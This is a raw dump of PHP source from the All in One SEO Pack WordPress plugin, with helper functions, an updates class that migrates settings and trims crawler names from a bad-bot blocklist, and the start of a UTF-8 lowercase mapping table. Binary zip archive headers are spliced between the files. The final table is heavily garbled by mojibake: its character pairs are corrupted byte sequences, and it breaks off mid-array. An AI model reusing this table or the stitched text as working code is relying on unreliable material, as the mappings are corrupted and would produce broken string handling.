$path Relative path to home_url(). * * @return string url. */ function aioseop_home_url( $path = '/' ) { $url = apply_filters( 'aioseop_home_url', $path ); return $path === $url ? home_url( $path ) : $url; } if ( ! function_exists( 'aiosp_include_images' ) ) { /** * AIOSEOP Include Images * * @since 2.4.2 * * @return bool */ function aiosp_include_images() { if ( false === apply_filters( 'aioseo_include_images_in_sitemap', true ) ) { return false; } global $aioseop_options; if ( isset( $aioseop_options['modules'] ) && isset( $aioseop_options['modules']['aiosp_sitemap_options'] ) && isset( $aioseop_options['modules']['aiosp_sitemap_options']['aiosp_sitemap_images'] ) && 'on' === $aioseop_options['modules']['aiosp_sitemap_options']['aiosp_sitemap_images'] ) { return false; } return true; } } if ( ! function_exists( 'aioseop_formatted_date' ) ) { /** * AIOSEOP Formatted Date * * Get formatted date. For custom formatting, the user has 2 options: * 1. provide the native date_i18n filter. * 2. provide a custom aioseop_format_date filter. * * @since 2.5 * * @param int $date Date in UNIX timestamp format. * @param string $format Require date format. */ function aioseop_formatted_date( $date = null, $format = null ) { if ( ! $format ) { $format = get_option( 'date_format' ); } if ( ! $date ) { $date = time(); } $formatted_date = date_i18n( $format, $date ); return apply_filters( 'aioseop_format_date', $formatted_date, $date, $format ); } } /** * The aioseop_get_menu_icon() function. * * Gets the menu icon as a base64 data URI. * * @since 3.0.0 * @since 3.2.0 Moved SVG code to dedicated aioseop_get_logo() function. * * @return string base64 data URI with menu icon. */ if ( ! function_exists( 'aioseop_get_menu_icon' ) ) { function aioseop_get_menu_icon() { return 'data:image/svg+xml;base64,' . base64_encode( aioseop_get_logo( 16, 16, '#A0A5AA' ) ); } } if ( ! function_exists( 'aioseop_get_logo' ) ) { /** * The aioseop_get_logo() function. * * Gets the plugin logo as an SVG in HTML format. * * @since 3.2.0 * * @return string SVG in HTML format. */ function aioseop_get_logo( $width, $height, $colour_code ) { return '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="' . $width . '" height="' . $height . '" viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve"> <g> <g> <path fill="' . $colour_code . '" d="M6.6356587,16.0348835c-0.0206718,0-0.0413432,0-0.0620155,0 c-0.067409-0.5687227-0.188632-1.1286116-0.2770367-1.6938677c-0.0116553-0.0745268-0.0655184-0.0857201-0.1188116-0.1016665 c-0.3916383-0.1171865-0.7678571-0.2725677-1.1279092-0.4651537c-0.0950913-0.0508642-0.1637669-0.0440636-0.2516775,0.0184937 c-0.4121995,0.2933187-0.8315198,0.5766335-1.2435973,0.8701181c-0.0922408,0.0656958-0.1460404,0.0679903-0.2289517-0.0181942 c-0.6222079-0.6467686-1.2487767-1.2893686-1.878032-1.9292908c-0.0701602-0.0713491-0.0678169-0.1162405-0.0118753-0.1922131 c0.3030721-0.4115992,0.5985562-0.8287926,0.9025542-1.2396946c0.0631523-0.0853596,0.0758619-0.1488447,0.0193999-0.2455435 c-0.2010608-0.344347-0.3531485-0.711894-0.4586703-1.095892C1.8667084,9.8243389,1.8056024,9.7895813,1.6982909,9.7728567 C1.1987077,9.6949921,0.7006906,9.6068258,0.2005107,9.5332375C0.086966,9.516531,0.0595014,9.4774542,0.0604039,9.3681087 c0.0040068-0.485467-0.001498-0.9710121-0.0035627-1.4565291c0.0033759-0.4542298,0.0067518-0.9084601,0.0101276-1.36269 c0.5357779-0.0816574,1.0710917-0.1666121,1.6077318-0.2421441c0.1052274-0.014811,0.1534867-0.0610075,0.1793816-0.156611 C1.9584855,5.7646813,2.1191192,5.401351,2.3082211,5.0513253c0.0522738-0.0967579,0.0481837-0.162436-0.0161171-0.250216 C1.9869013,4.3844619,1.6903805,3.9614599,1.3860248,3.5441806c-0.0582591-0.0798743-0.0660335-0.1283553,0.0108961-0.205359 c0.2363812-0.2366092,0.4708829-0.4750328,0.6985862-0.7207708c0.3790767-0.4091005,0.7861221-0.7921721,1.175601-1.1918454 c0.073673-0.0756011,0.1193006-0.0768266,0.2023387-0.0167576C3.8918667,1.7121295,4.316906,2.0056617,4.7353082,2.308367 C4.8231764,2.3719378,4.8931837,2.3785665,4.9881315,2.32724c0.3547778-0.1917841,0.7246637-0.3497989,1.111764-0.4646662 c0.0834813-0.0247719,0.1245975-0.064445,0.1387806-0.1575147c0.0761976-0.5000092,0.16292-0.9984057,0.2415481-1.4980611 c0.0154085-0.0979107,0.0362725-0.1528581,0.1583104-0.1525809C7.5273662,0.0564359,8.4162264,0.0512272,9.305047,0.0441977 c0.1012211-0.0008005,0.1417351,0.0252949,0.1585598,0.1328662C9.53936,0.6614148,9.6292553,1.1435384,9.7077475,1.6274875 c0.0177774,0.1096017,0.058032,0.1689863,0.1729288,0.1986653c0.3962202,0.102347,0.7708454,0.2639885,1.1316824,0.4550474 c0.0918427,0.04863,0.1530666,0.0429895,0.2356024-0.017288c0.4170818-0.3046039,0.8413315-0.5994209,1.2571535-0.9056976 c0.0917759-0.0675981,0.1401968-0.0588857,0.2166672,0.0191574c0.6248131,0.6376669,1.2525311,1.272517,1.883935,1.9036541 c0.0746508,0.07462,0.0591631,0.1200178,0.0068951,0.1928642c-0.3040953,0.4238276-0.6021757,0.8519745-0.9068089,1.2754121 c-0.055665,0.0773745-0.062233,0.1379747-0.0156651,0.2230096c0.1986971,0.3628144,0.3654804,0.740099,0.4793482,1.1387706 c0.0208931,0.0731559,0.0545502,0.1125269,0.1340227,0.124958c0.5150261,0.080555,1.0287666,0.1695499,1.5444088,0.2457719 c0.1157055,0.0171032,0.1522121,0.0537534,0.1517,0.1727324c-0.0038252,0.8888292-0.0027952,1.7777138,0.0044317,2.6665182 c0.0009861,0.1212635-0.0400152,0.1560354-0.1516571,0.1713991c-0.506238,0.0696716-1.01122,0.1484213-1.5170298,0.2212944 c-0.0849352,0.0122366-0.1369514,0.0427141-0.1609879,0.1339951c-0.1068697,0.4058342-0.2684164,0.7910061-0.4649954,1.1610003 c-0.0476036,0.0895996-0.0424118,0.1538601,0.0197964,0.2369499c0.3095427,0.4134502,0.6102238,0.8335266,0.9184151,1.2480059 c0.0534544,0.0718899,0.0545559,0.1134748-0.0114231,0.1797924c-0.2578106,0.2591314-0.5192184,0.5143776-0.769351,0.7817802 c-0.3668623,0.392189-0.7637119,0.7561789-1.1404953,1.1393509c-0.0824919,0.08389-0.1328821,0.0722904-0.217783,0.011488 c-0.4072781-0.2916708-0.8208151-0.5745983-1.2280502-0.8663273c-0.0825233-0.0591173-0.144722-0.067111-0.236228-0.0173359 c-0.3357944,0.1826582-0.6816397,0.3475332-1.0514994,0.4474249c-0.1470699,0.0397205-0.2045288,0.1080666-0.2260523,0.2567778 c-0.0761395,0.5260658-0.1672792,1.0499601-0.2527313,1.5746784c-0.4212217,0.0021896-0.8424425,0.0043812-1.2636642,0.0065708 c-0.4936438-0.0006676-0.9872875-0.0013523-1.4809322-0.0019608C6.7227592,16.005888,6.6766686,16.0087776,6.6356587,16.0348835z M5.5945344,8.0587454c0-0.2738581,0.0047617-0.5478387-0.0023174-0.8215132 C5.5893402,7.1260171,5.6286783,7.0980015,5.7342682,7.101109c0.2426443,0.0071421,0.485899-0.004355,0.7283907,0.0050206 C6.582684,7.1107702,6.6087341,7.0694351,6.6071982,6.9564962C6.6010141,6.5018721,6.6034818,6.047111,6.6051793,5.5924091 C6.6059542,5.3847222,6.7331271,5.2457314,6.9168048,5.244235c0.1906495-0.0015526,0.3085308,0.127861,0.3090096,0.3434582 C7.2268128,6.0372324,7.2299843,6.486825,7.2238765,6.9362822C7.2222071,7.059145,7.2495227,7.1088743,7.3848124,7.1063519 c0.439054-0.0081887,0.8784418-0.0078368,1.3175068,0.0000539C8.8253679,7.1086168,8.8466787,7.0647745,8.845252,6.9549446 C8.8396749,6.5261455,8.8435812,6.0972285,8.8424616,5.6683593c-0.0001907-0.072803,0.0000401-0.1455956,0.0266342-0.213613 c0.0515699-0.1318998,0.146349-0.2095218,0.2923908-0.2100406C9.3081264,5.244184,9.4056911,5.3223853,9.4531078,5.4547076 c0.0219107,0.0611463,0.022418,0.1320171,0.0227108,0.1985226c0.0019064,0.4340315,0.004344,0.8681149-0.0010605,1.3020859 C9.4733648,7.0671229,9.4999199,7.1107302,9.6208115,7.106133c0.2476625-0.0094175,0.496212,0.0041265,0.7438431-0.0057049 c0.1215019-0.0048237,0.1450939,0.038619,0.1435795,0.1499443c-0.0059738,0.439126,0.0016041,0.8784308-0.0038633,1.3175702 c-0.0045824,0.3680878-0.0652542,0.7269754-0.226469,1.062129c-0.3337469,0.6938353-0.8668461,1.1507959-1.613966,1.3531427 c-0.0617809,0.0167313-0.1411858,0.0100212-0.1393509,0.1228523c0.0067186,0.4132614,0.0039825,0.8267059,0.0015554,1.2400627 c-0.0004635,0.0790262,0.0286264,0.0947142,0.102293,0.0837212c0.888093-0.1325045,1.6820068-0.4789791,2.3410072-1.0896969 c1.1879272-1.1008902,1.6558428-2.4656649,1.4010391-4.0640707c-0.1778069-1.1154013-0.7301302-2.025878-1.6186838-2.7184963 c-1.047287-0.8163497-2.2356091-1.1035333-3.5431743-0.8636246C6.1200128,3.893697,5.2326531,4.4406323,4.5548649,5.3104329 c-0.8100188,1.0394912-1.079107,2.221858-0.8649251,3.5168509c0.1360686,0.8227005,0.491719,1.543438,1.0476153,2.1613245 c0.7106156,0.7898598,1.5925984,1.2679882,2.6462483,1.4320927c0.1402783,0.0218477,0.1544113-0.0172405,0.1528563-0.1345453 c-0.0050645-0.3823004-0.0053444-0.7647629,0.0003886-1.1470451c0.0015402-0.1027012-0.0355787-0.1348372-0.131959-0.1631641 c-0.8400359-0.2468815-1.4050922-0.7891521-1.6920962-1.6152534C5.5662184,8.9382191,5.5952759,8.4963045,5.5945344,8.0587454z"/> </g> </g> </svg>'; } } /** * AIOSEOP Do Shortcodes * * Runs shortcodes in autogenerated titles & descriptions. * * @since 3.0.0 * * @param string $content Content of the post * * @return string $content Content after shortcodes have been run. */ function aioseop_do_shortcodes( $content ) { $conflicting_shortcodes = array( 'WooCommerce Login' => '[woocommerce_my_account]', ); $rtn_conflict_shortcodes = array(); foreach ( $conflicting_shortcodes as $shortcode ) { // Second check is needed for shortcodes in Gutenberg Classic blocks. if ( stripos( $content, $shortcode, 0 ) || 0 === stripos( $content, $shortcode, 0 ) ) { global $shortcode_tags; $shortcode_tag = str_replace( array( '[', ']' ), '', $shortcode ); if ( array_key_exists( $shortcode_tag, $shortcode_tags ) ) { $rtn_conflict_shortcodes[ $shortcode_tag ] = $shortcode_tags[ $shortcode_tag ]; } } } if ( ! empty( $rtn_conflict_shortcodes ) ) { return aioseop_do_shortcode_helper( $content, $rtn_conflict_shortcodes ); } return do_shortcode( $content ); } /** * AIOSEOP Do Shortcode Helper * * Ignores shortcodes that are known to conflict. * Acts as a helper function for aioseop_do_shortcodes(). * * @since 3.0.0 * * @param string $content Content of the post * @param array $conflicting_shortcodes List of conflicting shortcodes * * @return string $content Content after shortcodes have been run whilst ignoring conflicting shortcodes. */ function aioseop_do_shortcode_helper( $content, $conflicting_shortcodes ) { foreach ( $conflicting_shortcodes as $shortcode_tag => $shortcode_callback ) { remove_shortcode( $shortcode_tag ); } $content = do_shortcode( $content ); // Adds shortcodes back since remove_shortcode() disables them site-wide. foreach ( $conflicting_shortcodes as $shortcode_tag => $shortcode_callback ) { add_shortcode( $shortcode_tag, $shortcode_callback ); } return $content; } /** * The aioseop_is_woocommerce_active() function. * * Checks whether WooCommerce is active. * * @since 3.2.0 * * @return bool */ if ( ! function_exists( 'aioseop_is_woocommerce_active' ) ) { function aioseop_is_woocommerce_active() { return class_exists( 'woocommerce' ); } } /** * Gets the major version of a sementic plugin version. * * @since 3.2.8 * * @param string $version * @return string */ function get_major_version( $version ) { if ( ! strpos( $version, '.' ) ) { // No period. Return version which should just look like "x". return $version; } $offset1 = strpos( $version, '.' ); // Location of first period. if ( ! strpos( $version, '.', $offset1 + 1 ) ) { // No second period. Return version which should just look like "x.y". return $version; } // If we get here, there's at least an "x.y.z". $offset2 = strpos( $version, '.', $offset1 + 1 ); // Location of second period. $major_version = substr( $version, 0, $offset2 ); return $major_version; } PK������+—[Ö¿œL0��L0��1��all-in-one-seo-pack/inc/aioseop_updates_class.phpnu�„[µü¤��������<?php /** * AIOSEOP Updates Class * * @package All_in_One_SEO_Pack * @since ? */ /** * Handles detection of new plugin version updates. * * Handles detection of new plugin version updates, migration of old settings, * new WP core feature support, etc. * AIOSEOP Updates class. * * @package All-in-One-SEO-Pack. */ class AIOSEOP_Updates { /** * Constructor */ function __construct() { } /** * Updates version. * * @global $aiosp , $aioseop_options. * @return null */ function version_updates() { global $aiosp, $aioseop_options; if ( empty( $aioseop_options ) ) { $aioseop_options = get_option( $aioseop_options ); if ( empty( $aioseop_options ) ) { // Something's wrong. bail. return; } } // Last known running plugin version. $last_active_version = '0.0'; if ( isset( $aioseop_options['last_active_version'] ) ) { $last_active_version = $aioseop_options['last_active_version']; } // Compares version to see which one is the newer. if ( version_compare( $last_active_version, AIOSEOP_VERSION, '<' ) ) { // Upgrades based on previous version. do_action( 'before_doing_aioseop_updates' ); $this->do_version_updates( $last_active_version ); do_action( 'after_doing_aioseop_updates' ); // If we're running Pro, let the Pro updater set the version. if ( ! AIOSEOPPRO ) { // Save the current plugin version as the new last_active_version. $aioseop_options['last_active_version'] = AIOSEOP_VERSION; $aiosp->update_class_option( $aioseop_options ); } if ( ! is_network_admin() || ! isset( $_GET['activate-multi'] ) ) { // Replace this to reactivate update welcome screen. set_transient( '_aioseop_activation_redirect', true, 30 ); // Sets 30 second transient for welcome screen redirect on activation. } delete_transient( 'aioseop_feed' ); // add_action( 'admin_init', array( $this, 'aioseop_welcome' ) ); //Uncomment for welcome screen. } /** * Perform updates that are dependent on external factors, not * just the plugin version. */ $this->do_feature_updates(); } function aioseop_welcome() { if ( get_transient( '_aioseop_activation_redirect' ) ) { delete_transient( '_aioseop_activation_redirect' ); $aioseop_welcome = new aioseop_welcome(); $aioseop_welcome->init( true ); } } /** * Updates version. * * TODO: the compare here should be extracted into a function * * @global $aioseop_options . * * @param String $old_version */ function do_version_updates( $old_version ) { global $aioseop_options; if ( ( ! AIOSEOPPRO && version_compare( $old_version, '2.3.3', '<' ) ) || ( AIOSEOPPRO && version_compare( $old_version, '2.4.3', '<' ) ) ) { $this->bad_bots_201603(); } if ( ( ! AIOSEOPPRO && version_compare( $old_version, '2.3.4.1', '<' ) ) || ( AIOSEOPPRO && version_compare( $old_version, '2.4.4.1', '<' ) ) ) { $this->bad_bots_remove_yandex_201604(); } if ( ( ! AIOSEOPPRO && version_compare( $old_version, '2.3.9', '<' ) ) || ( AIOSEOPPRO && version_compare( $old_version, '2.4.9', '<' ) ) ) { $this->bad_bots_remove_seznambot_201608(); set_transient( '_aioseop_activation_redirect', true, 30 ); // Sets 30 second transient for welcome screen redirect on activation. } if ( ( ! AIOSEOPPRO && version_compare( $old_version, '2.9', '<' ) ) || ( AIOSEOPPRO && version_compare( $old_version, '2.10', '<' ) ) ) { $this->bad_bots_remove_semrush_201810(); } if ( version_compare( $old_version, '3.0', '<' ) ) { $this->bad_bots_remove_exabot_201902(); $this->sitemap_excl_terms_201905(); } if ( version_compare( $old_version, '3.0.3', '<' ) ) { $this->reset_review_notice_201906(); } if ( version_compare( $old_version, '3.1', '<' ) ) { $this->reset_flush_rewrite_rules_201906(); } // Cause the update to occur again for 3.2.6. if ( version_compare( $old_version, '3.2', '<' ) || version_compare( $old_version, '3.2.6', '<' ) ) { $this->update_schema_markup_201907(); } } /** * Removes overzealous 'DOC' entry which is causing false-positive bad * bot blocking. * * @since 2.3.3 * @global $aiosp , $aioseop_options. */ function bad_bots_201603() { global $aiosp, $aioseop_options; // Remove 'DOC' from bad bots list to avoid false positives. if ( isset( $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] ) ) { $list = $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist']; $list = str_replace( array( "DOC\r\n", "DOC\n", ), '', $list ); $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] = $list; update_option( 'aioseop_options', $aioseop_options ); $aiosp->update_class_option( $aioseop_options ); } } /* * Functions for specific version milestones. */ /** * Remove 'yandex' entry. This is a major Russian search engine, and no longer needs to be blocked. * * @since 2.3.4.1 * @global $aiosp , $aioseop_options. */ function bad_bots_remove_yandex_201604() { global $aiosp, $aioseop_options; // Remove 'yandex' from bad bots list to avoid false positives. if ( isset( $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] ) ) { $list = $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist']; $list = str_replace( array( "yandex\r\n", "yandex\n", ), '', $list ); $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] = $list; update_option( 'aioseop_options', $aioseop_options ); $aiosp->update_class_option( $aioseop_options ); } } /** * Remove 'SeznamBot' entry. * * @since 2.3.8 * @global $aiosp , $aioseop_options. */ function bad_bots_remove_seznambot_201608() { global $aiosp, $aioseop_options; // Remove 'SeznamBot' from bad bots list to avoid false positives. if ( isset( $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] ) ) { $list = $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist']; $list = str_replace( array( "SeznamBot\r\n", "SeznamBot\n", ), '', $list ); $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] = $list; update_option( 'aioseop_options', $aioseop_options ); $aiosp->update_class_option( $aioseop_options ); } } /** * Removes semrush from bad bot blocker. * * @since 2.9 * @global $aiosp, $aioseop_options */ function bad_bots_remove_semrush_201810() { global $aiosp, $aioseop_options; // Remove 'SemrushBot' from bad bots list to avoid false positives. if ( isset( $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] ) ) { $list = $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist']; $list = str_replace( array( "SemrushBot\r\n", "SemrushBot\n", ), '', $list ); $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] = $list; update_option( 'aioseop_options', $aioseop_options ); $aiosp->update_class_option( $aioseop_options ); } } /** * Removes Exabot from bad bot blocker to allow Alexabot. (#2105) * * @since 3.0 * @global $aiosp, $aioseop_options */ function bad_bots_remove_exabot_201902() { global $aiosp, $aioseop_options; if ( isset( $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] ) ) { $list = $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist']; $list = str_replace( array( "Exabot\r\n", "Exabot\n", ), '', $list ); $aioseop_options['modules']['aiosp_bad_robots_options']['aiosp_bad_robots_blocklist'] = $list; update_option( 'aioseop_options', $aioseop_options ); $aiosp->update_class_option( $aioseop_options ); } } /** * Converts excl_categories to excl_terms * * @since 3.0 * @global $aiosp, $aioseop_options */ public function sitemap_excl_terms_201905() { global $aiosp, $aioseop_options; $aioseop_options = aioseop_get_options(); if ( ! isset( $aioseop_options['modules'] ) && ! isset( $aioseop_options['modules']['aiosp_sitemap_options'] ) ) { return; } $options = $aioseop_options['modules']['aiosp_sitemap_options']; if ( ! empty( $options['aiosp_sitemap_excl_categories'] ) ) { $options['aiosp_sitemap_excl_terms']['category']['taxonomy'] = 'category'; $options['aiosp_sitemap_excl_terms']['category']['terms'] = $options['aiosp_sitemap_excl_categories']; unset( $options['aiosp_sitemap_excl_categories'] ); $aioseop_options['modules']['aiosp_sitemap_options'] = $options; $aiosp->update_class_option( $aioseop_options ); } } /** * Updates features. * * @return null * * if ( ! ( isset( $aioseop_options['version_feature_flags']['FEATURE_NAME'] ) && * $aioseop_options['version_feature_flags']['FEATURE_NAME'] === 'yes' ) ) { * $this->some_feature_update_method(); // sets flag to 'yes' on completion. */ public function do_feature_updates() { global $aioseop_options; // We don't need to check all the time. Use a transient to limit frequency. if ( get_site_transient( 'aioseop_update_check_time' ) ) { return; } // If we're running Pro, let the Pro updater set the transient. if ( ! AIOSEOPPRO ) { // We haven't checked recently. Reset the timestamp, timeout 6 hours. set_site_transient( 'aioseop_update_check_time', time(), apply_filters( 'aioseop_update_check_time', 3600 * 6 ) ); } } /** * Removes Review Plugin Notice * * @since 3.0.3 */ public function reset_review_notice_201906() { global $aioseop_notices; $aioseop_notices->reset_notice( 'review_plugin' ); $aioseop_notices->remove_notice( 'review_plugin' ); } /** * Flushes rewrite rules for XML Sitemap URL changes * * @since 3.1 */ public function reset_flush_rewrite_rules_201906() { add_action( 'shutdown', 'flush_rewrite_rules' ); } /** * Update to add schema markup settings. * * @since 3.2 */ public function update_schema_markup_201907() { global $aiosp; global $aioseop_options; $update_values = array( 'aiosp_schema_markup' => '1', 'aiosp_schema_search_results_page' => '1', 'aiosp_schema_social_profile_links' => '', 'aiosp_schema_site_represents' => 'organization', 'aiosp_schema_organization_name' => '', 'aiosp_schema_organization_logo' => '', 'aiosp_schema_person_user' => '1', 'aiosp_schema_phone_number' => '', 'aiosp_schema_contact_type' => 'none', ); if ( isset( $aioseop_options['aiosp_schema_markup'] ) ) { if ( empty( $aioseop_options['aiosp_schema_markup'] ) || 'off' === $aioseop_options['aiosp_schema_markup'] ) { $update_values['aiosp_schema_markup'] = '0'; } } if ( isset( $aioseop_options['aiosp_google_sitelinks_search'] ) ) { if ( empty( $aioseop_options['aiosp_google_sitelinks_search'] ) || 'off' === $aioseop_options['aiosp_google_sitelinks_search'] ) { $update_values['aiosp_schema_search_results_page'] = '0'; } } if ( isset( $aioseop_options['modules']['aiosp_opengraph_options']['aiosp_opengraph_profile_links'] ) ) { $update_values['aiosp_schema_social_profile_links'] = $aioseop_options['modules']['aiosp_opengraph_options']['aiosp_opengraph_profile_links']; } if ( isset( $aioseop_options['modules']['aiosp_opengraph_options']['aiosp_opengraph_person_or_org'] ) ) { if ( 'person' === $aioseop_options['modules']['aiosp_opengraph_options']['aiosp_opengraph_person_or_org'] ) { $update_values['aiosp_schema_site_represents'] = 'person'; } } if ( isset( $aioseop_options['modules']['aiosp_opengraph_options']['aiosp_opengraph_social_name'] ) ) { $update_values['aiosp_schema_organization_name'] = $aioseop_options['modules']['aiosp_opengraph_options']['aiosp_opengraph_social_name']; } // Add/update values to options. foreach ( $update_values as $key => $value ) { $aioseop_options[ $key ] = $value; } $aiosp->update_class_option( $aioseop_options ); } } PK������+—[‘1H?»��?»��(��all-in-one-seo-pack/inc/aioseop_UTF8.phpnu�„[µü¤��������<?php /** * AIOSEOP UTF8 * * @package All_in_One_SEO_Pack * @since ? */ // phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase $UTF8_TABLES = array(); $UTF8_TABLES['strtolower'] = array( 'Ãâ€Ã‚ºâˆ«' => 'Ãâ€ÃŽÂ©ÃƒÂ¶', 'Ãâ€Ã‚ºÃ€' => 'Ãâ€ÃŽÂ©ÃƒÂ´', 'Ãâ€Ã‚ºâˆÂ' => 'Ãâ€ÃŽÂ©ÃƒÂ²', 'Ãâ€Ã‚ºâˆ‘' => 'Ãâ€ÃŽÂ©ÃƒÂ³', 'Ãâ€Ã‚ºâˆ‚' => 'Ãâ€ÃŽÂ©ÃƒÂ±', 'Ãâ€Ã‚ºÂµ' => 'Ãâ€ÃŽÂ©ÃƒÂ¯', 'Ãâ€Ã‚ºÂ¥' => 'Ãâ€ÃŽÂ©ÃƒÂ®', 'Ãâ€Ã‚ºâ‰¥' => 'Ãâ€ÃŽÂ©ÃƒÂ¬', 'Ãâ€Ã‚ºâ‰¤' => 'Ãâ€ÃŽÂ©ÃƒÂ­', 'Ãâ€Ã‚ºÂ±' => 'Ãâ€ÃŽÂ©ÃƒÂ«', 'Ãâ€Ã‚ºâˆž' => 'Ãâ€ÃŽÂ©ÃƒÂª', 'Ãâ€Ã‚ºÃ˜' => 'Ãâ€ÃŽÂ©ÃƒÂ¨', 'Ãâ€Ã‚ºÃ†' => 'Ãâ€ÃŽÂ©ÃƒÂ©', 'Ãâ€Ã‚ºâ‰ ' => 'Ãâ€ÃŽÂ©ÃƒÂ§', 'Ãâ€Ã‚ºÂ¨' => 'Ãâ€ÃŽÂ©ÃƒÂ¥', 'Ãâ€Ã‚ºÂ´' => 'Ãâ€ÃŽÂ©ÃƒÂ£', 'Ãâ€Ã‚ºâ„¢' => 'Ãâ€ÃŽÂ©ÃƒÂ¤', 'Ãâ€Ã‚ºÂ©' => 'Ãâ€ÃŽÂ©ÃƒÂ¢', 'Ãâ€Ã‚ºÂ®' => 'Ãâ€ÃŽÂ©ÃƒÂ ', 'Ãâ€Ã‚ºÃŸ' => 'Ãâ€ÃŽÂ©ÃƒÂ¡', 'Ãâ€Ã‚ºÂ¶' => 'Ãâ€ÃŽÂ©ÃƒÅ“', 'Ãâ€Ã‚ºâ€¢' => 'Ãâ€ÃŽÂ©Ãƒâ€“', 'Ãâ€Ã‚ºÂ§' => 'Ãâ€ÃŽÂ©Ãƒâ€˜', 'Ãâ€Ã‚ºÂ£' => 'Ãâ€ÃŽÂ©Ãƒâ€°', 'Ãâ€Ã‚ºÂ¢' => 'Ãâ€ÃŽÂ©Ãƒâ€¡', 'Ãâ€Ã‚ºÂ°' => 'Ãâ€ÃŽÂ©Ãƒâ€¦', '‚Ñ´' => 'å', '‚Ñ™' => 'k', 'Ω' => 'ω', '·øª' => '·ΩΩ', '·ø∫' => '·Ωº', '·øÃ€' => '·ΩÀ', '·øâˆÂ' => '·ΩâˆÂ', '·ø¨' => '·ø•', '·ø´' => '·Ωª', '·ø™' => '·Ω∫', '·ø©' => '·ø°', '·ø®' => '·ø ', '·øõ' => '·Ω∑', '·øö' => '·Ω∂', '·øô' => '·øë', '·øò' => '·øê', '·øã' => '·Ωµ', '·øä' => '·Ω¥', '·øâ' => '·Ω≥', '·øà' => '·Ω≤', 'Ά' => '·Ω±', '·æ∫' => '·Ω∞', '·æÃ€' => '·æ±', '·æâˆÂ' => '·æ∞', '·ΩØ' => '·Ωß', '·ΩÆ' => '·Ω¶', '·Ω≠' => '·Ω•', '·Ω¨' => '·Ω§', '·Ω´' => '·Ω£', '·Ω™' => '·Ω¢', '·Ω©' => '·Ω°', '·Ω®' => '·Ω ', '·Ωü' => '·Ωó', '·Ωù' => '·Ωï', '·Ωõ' => '·Ωì', '·Ωô' => '·Ωë', '·Ωç' => '·ΩÖ', '·Ωå' => '·ΩÑ', '·Ωã' => '·ΩÉ', '·Ωä' => '·ΩÇ', '·Ωâ' => '·ΩÅ', '·Ωà' => '·ΩÄ', '·ºø' => 'ἷ', 'Ἶ' => 'ἶ', '·ºΩ' => 'ἵ', 'Ἴ' => 'ἴ', 'Ἳ' => 'ἳ', 'Ἲ' => 'ἲ', '·ºÃ€' => 'ἱ', '·ºâˆÂ' => 'ἰ', 'Ἧ' => 'ἧ', 'Ἦ' => 'ἦ', 'Ἥ' => 'ἥ', 'Ἤ' => 'ἤ', '·º´' => 'ἣ', 'Ἢ' => 'ἢ', 'Ἡ' => '·º°', 'Ἠ' => '·º ', '·ºù' => 'ἕ', '·ºú' => 'ἔ', '·ºõ' => 'ἓ', '·ºö' => 'ἒ', '·ºô' => 'ἑ', '·ºò' => 'ἐ', 'Ἇ' => 'ἇ', 'Ἆ' => 'ἆ', 'Ἅ' => '·ºÖ', 'Ἄ' => 'ἄ', 'Ἃ' => 'ἃ', 'Ἂ' => 'ἂ', 'Ἁ' => 'ἁ', 'Ἀ' => 'ἀ', '·ªâˆÂ' => '·ªÃ€', 'Ỷ' => 'ỷ', 'Ỵ' => 'ỵ', 'Ỳ' => 'ỳ', 'Ự' => 'ự', 'Ữ' => 'ữ', 'Ử' => 'ử', 'Ừ' => '·ª´', 'Ứ' => 'ứ', 'Ủ' => 'ủ', 'Ụ' => 'ụ', 'Ợ' => 'ợ', '·ª ' => '·ª°', '·ªû' => 'ở', '·ªú' => '·ªù', '·ªö' => '·ªõ', '·ªò' => '·ªô', 'Ỗ' => '·ªó', 'Ổ' => 'ổ', 'Ồ' => 'ồ', 'Ố' => 'ố', 'Ỏ' => 'ỏ', 'Ọ' => 'ọ', 'Ị' => 'ị', 'Ỉ' => 'ỉ', 'Ệ' => 'ệ', 'Ễ' => '·ªÖ', 'Ể' => 'ể', 'Ề' => 'ề', 'Ế' => '·∫ø', 'Ẽ' => '·∫Ω', '·∫∫' => 'ẻ', '·∫âˆÂ' => '·∫À', '·∫∂' => '·∫∑', '·∫¥' => '·∫µ', '·∫≤' => '·∫≥', '·∫∞' => '·∫±', 'Ắ' => 'ắ', 'Ậ' => '·∫≠', '·∫™' => '·∫´', '·∫®' => 'ẩ', '·∫¶' => 'ầ', '·∫§' => 'ấ', '·∫¢' => '·∫£', '·∫ ' => '·∫°', 'Ẕ' => 'ẕ', 'Ẓ' => 'ẓ', 'Ẑ' => 'ẑ', 'Ẏ' => 'ẏ', 'Ẍ' => 'ẍ', 'Ẋ' => 'ẋ', 'Ẉ' => 'ẉ', 'Ẇ' => 'ẇ', 'Ẅ' => '·∫Ö', 'Ẃ' => 'ẃ', 'Ẁ' => 'ẁ', '·Ã€Ã¦' => '·Ã€Ã¸', '·Ã€Âº' => '·Ã€Î©', '·Ã€âˆ«' => '·Ã€Âª', '·Ã€âˆÂ' => '·Ã€Ã€', '·Ã€âˆ‚' => '·Ã€âˆ‘', '·Ã€Â¥' => '·Ã€Âµ', '·Ã€â‰¤' => '·Ã€â‰¥', '·Ã€âˆž' => '·Ã€Â±', '·Ã€Ã†' => '·Ã€Ã˜', '·Ã€Â¨' => '·Ã€â‰ ', '·Ã€â„¢' => '·Ã€Â´', '·Ã€Â®' => '·Ã€Â©', '·Ã€Â¶' => '·Ã€ÃŸ', '·Ã€Â§' 